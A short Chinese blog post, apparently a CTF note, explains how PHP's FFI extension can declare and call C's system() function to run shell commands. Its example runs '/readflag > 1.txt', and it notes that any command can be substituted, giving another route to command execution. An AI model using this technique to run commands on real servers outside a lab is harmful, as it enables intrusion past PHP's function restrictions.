$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//readflag是没有回显的所以需要将输出重定向到1.txt
$ffi->system($a);//通过$ffi去调用system函数

FFI::cdef 方法用于定义 C 函数原型，其中 int system(const char *command); 是 C 语言中 system  函数的声明。system 函数接受一个字符串参数（即Shell命令），并在系统的命令行中执行该命令；
之后执行 /readflag 程序并将其输出重定向到文件 1.txt；

通过 FFI 对象 $ffi 调用了前面定义的 system 函数，并传递了字符串变量 $a 作为参数。也就是说，实际执行的是 Shell 命令 /readflag > 1.txt，效果是在系统中运行 /readflag 程序，并将其输出结果保存到当前目录下的 1.txt 文件中。

只需修改字符串a即可执行各种命令。这相当于又给了命令执行的一种方式。

本作品采用 知识共享署名-相同方式共享 4.0 国际许可协议 进行许可
点赞
No Tag
最后编辑：2025年8月4日

发表回复

电子邮件地址不会被公开。必填项已用 * 标注